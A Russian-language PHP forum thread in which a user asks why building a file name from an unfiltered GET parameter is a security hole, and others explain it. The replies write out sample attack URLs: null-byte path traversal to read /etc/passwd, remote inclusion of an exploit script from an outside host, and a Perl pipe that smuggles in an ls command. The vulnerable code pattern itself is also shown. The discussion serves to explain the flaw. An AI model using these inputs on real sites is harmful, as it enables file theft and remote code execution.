powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / дыра в безопасности
10 сообщений из 10, страница 1 из 1
дыра в безопасности
    #32844656
Галя
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Я передаю в php-скрипт через GET имя файла:
index.php?id=name
В скрипте это имя принимаю, и образую полное имя:
$file_name = $dir . $_GET[id]. ".html";

Далее, проверяю существование $file_name, и если он есть, то открываю этот файл, неким образом его обрамляя.

Мне сказали, что этот способ может быть дырой в безопасности, и при желании хакер может такой сайт взломать.
Я не смогла придумать, каким образом?

Для дополнительной безопасности можно было бы проверять сначала $_GET[id] на наличие запрещенных символов (разрешить только буквы, цифры и _-).
Но для начала надо понять, а КАК такое взламывается?
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844661
Фотография Black
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
а можно узнать зачем надо передавать имя подключаемого файла из вне?!
почему Вы не можете сами определить диапозон возможных подключаемых файлов?

насколько понимаю, Вы пытаетесь подключать разделы сайта таким образом, если да то используйте ID->filename. А список id храните либо в БД, либо в текстовых файлах.
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844680
Галя
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Николай aka Motodor а можно узнать зачем надо передавать имя подключаемого файла из вне?!

В скрипте определен дизайн сайта.
В различных директориях, соответствующих разделам сайта, лежат файлы с содержанием страниц. В этих файлах - только содержание, минимум html.

Скрипт определяет имя файла, и подключает его в нужное место, вписывая в дизайн.
Базы данных нет. Хозяева сайта легко создают и наполняют страницы нужным содержанием. Если нужно поменять что-то в дизайне, можно отредактировать только скрипт.
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844723
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
эта "дыра" позволяет включить index.php любой доступный файл на вашем сервере
для этого нужно просто правильно сформировать [id]
классический пример =)
http://host/index.php?id=../../etc/passwd%00
%00 будет означать конец строки, поэтому .html из [$_GET[id]. ".html";] не будет учитываться
следовательно параметром для include_once() будет $dir . "../../etc/passwd"
остаётся подобрать уровень каталога

если убрать добавление $dir , то можно получить больщую "дыру"
http://host/index.php?id=http://your_host/exploit.php%00

--
http://jcatki.no-ip.org/c++/bart.jpg
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844725
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ЗЫ последнее - только если файл подключается includоm

--
http://jcatki.no-ip.org/c++/bart.jpg
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844772
*
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
*
Гость
А если не инклудом - это позволяет посмотреть содержимое сервера (исходники, пароли, etc).
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844874
Галя
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Но если я проверяю синтаксис $_GET[id] - и при наличии в нем любых знаков, кроме букв и "/" - останавливаю программу!
Значит, дыра закрываетcя?
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844890
Галя
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
sky2khttp://host/index.php?id=../../etc/passwd%00
%00 будет означать конец строки, поэтому .html из [$_GET[id]. ".html";] не будет учитываться
следовательно параметром для include_once() будет $dir . "../../etc/passwd"


Почему же?
$file_name = "my_dir" . $_GET[id] . ".html";
В Вашем примере %00 - конец строки для $_GET[id],
но в $file_name все равно добавится .html !
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844904
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
пример
$st = "aaa.html" . chr(0) . ".mega_test";

echo($st) выведет правильно [aaa.html.mega_test]

но вот для работы с файлами fopen,file,include,etc конец строки будет считаться по \0

следовательно
fopen($st)
будет открывать aaa.html

ЗЫ для справки на perl такая оплошность в некоторых случаях позволяет не только считывать файлы но так же запускать их
например
http://host/index.pl?id=../../../bin/ls -alR /somefolder/| выведет вам список всех файлов/папок в [somefolder] , чтобы узнать куда писать можно =)
...
Рейтинг: 0 / 0
дыра в безопасности
    #32844916
Галя
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Спасибо большое!
...
Рейтинг: 0 / 0
10 сообщений из 10, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / дыра в безопасности
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]